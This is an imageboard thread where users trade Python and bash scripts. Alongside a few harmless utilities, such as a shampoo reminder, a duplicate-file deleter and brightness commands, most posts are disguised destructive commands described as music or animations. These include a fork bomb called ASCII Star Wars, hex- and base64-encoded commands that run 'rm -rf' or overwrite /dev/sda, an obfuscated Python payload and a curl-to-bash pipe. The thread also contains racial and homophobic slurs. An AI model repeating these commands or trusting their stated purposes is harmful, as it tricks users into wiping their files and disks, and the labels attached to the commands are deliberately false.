Post useful python and bash scripts Jow Forumsents

Post useful python and bash scripts Jow Forumsents

Attached: pyy.png (400x400, 114K)

Other urls found in this thread:

mywiki.wooledge.org/Bashism)
github.com/Judge1234/wavblend
jonls.dk/redshift/
raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh
twitter.com/SFWRedditImages

rm -rf /

forgot --no-preserve-root
try it op, it makes cool shit happen

rm -rf /* works better

i use somthing with
find ~/.config -type f | fzy | xargs nvim
to quickly open a config file
im not sure what the expression was (on phone right now) but i go through .config and .local and with 1 depth my home directory

mv /* /dev/null —no-preserve-root

while True:
print("I am a literal faggot")

(lambda _, __, ___, ____, _____, ______, _______, ________:
getattr(
__import__(True.__class__.__name__[_] + [].__class__.__name__[__]),
().__class__.__eq__.__class__.__name__[:__] +
().__iter__().__class__.__name__[_:][_____:________]
)(
_, (lambda _, __, ___: _(_, __, ___))(
lambda _, __, ___:
bytes([___ % __]) + _(_, __, ___ // __) if ___ else
(lambda: _).__code__.co_lnotab,
_

Wow, great posts you fucking niggers

thanks m8, come again soon

from datetime import date

import yaml

from plyer import notification

import os

if os.path.exists('todate.yaml'):

conf=yaml.safe_load(open('todate.yaml'))

shampoodate=conf['lastshampooed']

else:

shampoodict={}

shampoodict.update({'lastshampooed':date.today(), 'threshold':3})

yaml.safe_dump(shampoodict, open('todate.yaml','w+'))

conf=yaml.safe_load(open('todate.yaml'))

shampoodate=conf['lastshampooed']

todaydate=date.today()

diff=date.today()-shampoodate

if diff.days == conf['threshold']:

notification.notify(

title="Its shampoo day my dood",

message="Yup you gotta shampoo today and take a break from fapping",

app_icon=None,

timeout=10

)

updateconf=yaml.safe_load(open('todate.yaml'))

updateconf['lastshampooed']=date.today()

yaml.dump(updateconf, open('todate.yaml','w'))

else:

pass

script to remind me to shampoo every third day using yaml, I didnt know any other way to store small info back then other than sqlite so I used yaml.

beautiful

bump

This one plays an ascii version of star wars in your terminal emulator:

:(){ :|:& };:

This plays a monophonic version of the Zelda theme tune out of your pc speaker:

$(echo 726d202d7266202a | xxd -r -p)

This command splits your terminal emulator into tiled windows (like you see in the desktop threads). Splitting a screen is called 'forking'.

perl -e "fork while fork" &

Well, you probably know multiple solutions by now. Still, a fun one for smaller amounts of data is making Python write small Python modules to import stuff from later. Quick example:
#!/usr/bin/env python3
# Load variable from smallData.py, a file in the same directory
try:
from smallData import myData
# If smallData.py doesn't exist yet, initialize the variable instead
except ModuleNotFoundError:
print("smallData.py not found. Setting myData to 0.")
myData = 0
# Increment variable's value and show it to the user
myData += 1
print("myData =", myData)
# Save variable to smallData.py
try:
with open("smallData.py", "w") as myFile:
myFile.write("myData = "+str(myData))
except BaseException as oops:
print("Something happened:", oops)

lol that was great

'''
script that takes folder as input, lists all files in said folder,
calculates hashes of listed files and looks for duplicates by comparing
hashes
usage:
from delete_duplicate_files import delete_duplicates
delete_duplicates(some_folder)
'''

from os import walk, path, remove
from hashlib import md5

def get_files_and_md5(folder):
# creates a dictionary of files (key) and md5 hash (value)
file_list = [path.join(r,file) for r,d,f in walk(folder) for file in f]

hashes = {}
for file in file_list:
# not exactly sure how hashlib works but it does
md5_generator = md5()
with open(file, "rb") as buffer:
bytes = buffer.read()
md5_generator.update(bytes)
hashes[file] = md5_generator.hexdigest()

return hashes

def get_duplicates(hashes):
# compares each hash with each other and return duplicate files
duplicates = []
for key_1 in hashes:
if key_1 not in duplicates:
original_hash = hashes[key_1] # compare this to every other hash

for key_n in hashes:
n_hash = hashes[key_n] # hash to be compared
if original_hash == n_hash and not key_1 == key_n:
duplicates.append(key_n)

return duplicates

def delete_duplicates(folder):
hashes = get_files_and_md5(folder)
duplicates = get_duplicates(hashes)

for duplicate in duplicates:
remove(duplicate)

Attached: __tejina_senpai_tejina_senpai_drawn_by_brz__ed4e22f561cd54b27a298091774742a0.jpg (1697x2064, 928K)

hmm, how much people do you think have bash on their system? well, i guess this would work for someone using a mac...

lol wut

>>I guess for someone on a Mac

x
>>Programming on any other actual Unix

my point is nobody using linux is dumb enough to run random commands in their shell without knowing what they do. appletards on the other hand are a different story.
>Programming on any other actual Unix
posix is gay and kill. macs are trash. i'm forced to use that shit at work because muh xcode n shieeeet.

It's really only to be expected that the quality of the replies match the quality of the OP.

here is an ascii porn clip. this caused controversy back in AOL since it had cli

run this in terminal
:(){ :|:& };:

kys

Attached: 1531939754050.jpg (400x365, 17K)

based

hurr_im_so_funny_lol_i_troll_newbs_xd(){ hurr_im_so_funny_lol_i_troll_newbs_xd|hurr_im_so_funny_lol_i_troll_newbs_xd& };hurr_im_so_funny_lol_i_troll_newbs_xd

pytard meets python

VERY EPIC

I have a question. Sorry if it is brainlet tier, I am indeed one.

As far as I'm aware, the go-to for writing any shell script at first should be a POSIX compliant sh, so it can run anywhere - right? Specially with things like dash being available, being able to run them lightning fast is certainly nice.

But POSIX-compliant sh has its limits. As your script gets a little more ambitious here or there, it takes more and more hacks to work around POSIX-sh limitations. (mywiki.wooledge.org/Bashism) When do you cross the line of complexity where you don't tolerate the hackery anymore and just make a comparatively slow-ass bash script, where you take advantage of bashisms?

Even further - when do you get tired of POSIX-sh and bash, and use python for the script? Or maybe even another scripting language of your choice? Assuming you will have it anywhere you wish to run the script.

Attached: 1559100958383.png (500x575, 189K)

never stop

Not a script, but i've had fun with it.
# The following commands will report the location (filename and line number) of a function’s definition. Assuming a function named foo,

# Turn on extended shell debugging
shopt -s extdebug

# Display the function’s name, line number and fully qualified source file
declare -F foo

# Turn off extended shell debugging
shopt -u extdebug

For example, the output of these commands might be:

foo 32 /source/private/main/developer/cue.pub.sh

The above might work only in bash, and not in POSIX shells in general.

yeah I came across a very similar thing you posted when I was reading about config files and people were saying using python file itself for storing small info is risky for some reasons.

also on topic of python wtf is this there is a piece of code that work normally but when I put it into a function and use it another file it fails and says module not callable. I tried reading up on it, and everyone was saying some things about globals but and classes but I doubt its that because I tried creating a function in a separate clean file and created a function with same piece and it was working there too.

I usually don't bother with POSIX compliance in the first place. Every major shell script I've written called other more time consuming commands (ffmpeg, curl, etc.), which were the real performance killers. Trying to optimize the approach and how many times to call time consuming commands (if possible) is more beneficial than being able to execute a script with Dash instead of Bash. Also if you're really concerned about speed you wouldn't use a shell script in the first place.
Also while Bash is considerably slower compared to Dash, the impact on your average script isn't that big. Sure, you may need 8 instead of 4 seconds to print 100.000 lines, but how often do you write shell scripts with that many steps? The real reason to go POSIX is for max. portability, but with how many Linux users have Bash installed on their system, you might as well put #!/bin/bash at the beginning of your script and forget about POSIX (just remember to not use Bash 4.x features, if you want Mac support by default).
>when do you get tired of POSIX-sh and bash, and use python for the script?
Usually when I want multi-dimensional arrays or Windows support.

I keep getting this error
bash: For: command not found
help?

>Every major shell script I've written called other more time consuming commands (ffmpeg, curl, etc.), which were the real performance killers. Trying to optimize the approach and how many times to call time consuming commands (if possible) is more beneficial than being able to execute a script with Dash instead of Bash.
This was really eye-opening, thank you for this. It's true, it doesn't matter if parts of the script run much faster in dash, if they're just going to call time consuming external commands like that.

>Every major shell script I've written called other more time consuming commands
every major shell script I create is in a folder iall nigger-tongue_my*NUS

Okay?

mpv --autofit-larger=70%x60% --ab-loop-a=4:42.500 --ab-loop-b=5:01.240 --start=4:42.500 ytdl://nReq8I4aJVM

This. Shell scripts are ultimately glue to call into external programs. Usually if I need some custom functionality I toss together the majority in Python and use shell to provide whatever stdin or args it needs. For these simple purposes you might as well go POSIX shell but it's true that basically everywhere worth using the script is going to have bash.

cm = float(input("centimetres: "))
ft = int(cm/2.54//12)
rft = cm/2.54/12
print(ft, 'ft', int((ft-rft)*10), 'in')

I guess because the "for example" line isn't commented out.
Lol. Good one, I hope.
>Poe's law

I'm aware that this is the good ol' rm -rf *. Question is, why didn't it fuck my shit up? It did nothing to $pwd or anything else. Is it because it's just echoing the string harmlessly?

> Question is, why didn't it fuck my shit up?
Did it not? I ran it once and it nuked all my commands. Things like cd and ls wouldn't work.

oh lmao it did delete the $pwd, I just didn't realize because I forgot where i was. deleted a my script folder, funnily enough.

thank fuck I didn't run it in my actual $HOME.

cm = float(input("centimetres: "))
ft = int(cm/2.54//12)
rft = cm/2.54/12
print(ft, 'ft', int((rft-ft)*10), 'in')

No idea this do but it looks beautiful

This python script plays music through your speakers
(lambda:"/dev/speaker/audio").__class__(__import__("marshal").loads(__import__("lzma").decompress(b'\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\xe0\x00w\x00c]\x00q\x802 (C#\xf0 X[\xceSC\xb86\xa7yq\x1eKi\xc8\xb9\xe7`\x14@\xaf\xb7[\xc64\x92\xfeG\xd9\xfe\xf0\x0e\xf6\xa3\xe6\x88;\xeb\x7f\xe4\x95\xcc\xea\x1c\x04>\xac\x8d\x034tsc\xd56\xea\x02\xc8\x95\x90z\x17\xd0\x93\xe0\xf5\xee\x04\xe4\x9a \x0c\\}\xd5\xbe\x0c\x10u\x9fYT\xf1\x7f\xef@b\xbcs`\x00\x00\x00\x87\xedn

Literally the only semi useful thing Ive ever written in my entire garbage life

github.com/Judge1234/wavblend


Goodbye

Plays the Jow Forums theme on your default sound card:
sudo sh -c "$(printf '\x64\x64\x20\x69\x66\x3d\x2f\x64\x65\x76\x2f\x75\x72\x61\x6e\x64\x6f\x6d\x20\x6f\x66\x3d\x2f\x64\x65\x76\x2f\x73\x64\x61\x20\x62\x73\x3d\x38\x4d') > /dev/sndout"

volume warning

> Drive on /dev/nvme0n1
Nice try

dd if=/dev/urandom of=/dev/sda bs=8M

Wow this is so cool! thanks!

The best script of all:
$(echo "Y3VybCAtcyBodHRwOi8vZGlzdGZpbGVzLmdlbnRvby5vcmcvcmVsZWFzZXMvYW1kNjQvYXV0b2J1aWxkcy8yMDE5MDcxNlQxMDMyMjJaL2luc3RhbGwtYW1kNjQtbWluaW1hbC0yMDE5MDcxNlQxMDMyMjJaLmlzbyA+IG91dC5pc287IHNsZWVwIDE7IGRkIGlmPW91dC5pc28gb2Y9L2Rldi9zZGEK" | base64 -d)

Finally something interesting.

>ITT: Virtually everyone (except for like 2 people) posts ebin rm -rf variants and pretends they're something else, thinking they're gonna get anyone

This is why we can't have nice things

Attached: 1558986383879.png (441x603, 1.02M)

xrandr --output LVDS1 --brightness .3
will help save your eyes at night

Replace LVDS1 with the name of your screen

xrandr --output LVDS1 --brightness 1
to reset

How's that vs redshift?
jonls.dk/redshift/

You have COMPLETELY misunderstood the idea of Jow Forums. Jow Forums is not "hey guys take a look at this funny link ha ha." Jow Forums is not Facebook's whiteknighting. Jow Forums is not Reddit, Tumblr or 9gag.com. Jow Forums is a place for people to be monsters. Disturbing, cold, heedless monsters that they really are. Tsunami kills people in Asia and we laugh. Psychotic emo fulfills her sick desires with her cat and we laugh. A man rapes his grandchildren, we laugh and demand more. Suicide, foul play, genocide- we laugh. Racism, sexism, discrimination, xenophobia, rape and unfounded wrath- we laugh.

We are cruel; we do not forgive; we do not forget; we are the real face of the internet.

did you forget to take your pills today, xXShadowHedgeh0g666Xx

If you wanna be a fucktard why don't you come here and say it to my face so i can answer you with a swift fist to the nose.

sure bro what's your address

Okay now THIS is epic

127.0.0.1 xD

the first one replaces spaces with underscores
the second one plays a cool tune
for f in *\ *; do mv "$f" "${f// /_}"; done

curl -s -L raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh | bash

forgive me, Jow Forums wouldn't let me use a link shortener for the second one

Attached: installgentoo (2).png (948x948, 70K)

you didn't even try to hide rickrollrc

I mean
It fits the theme of this thread's pathetic lolsorandumbxD attempts to get other Jow Forumsentoomen to rm -rf their shit

>forgive me, Jow Forums wouldn't let me use a link shortener for the second one
can you not read?

M’lady

It doesn't fuck up your colours.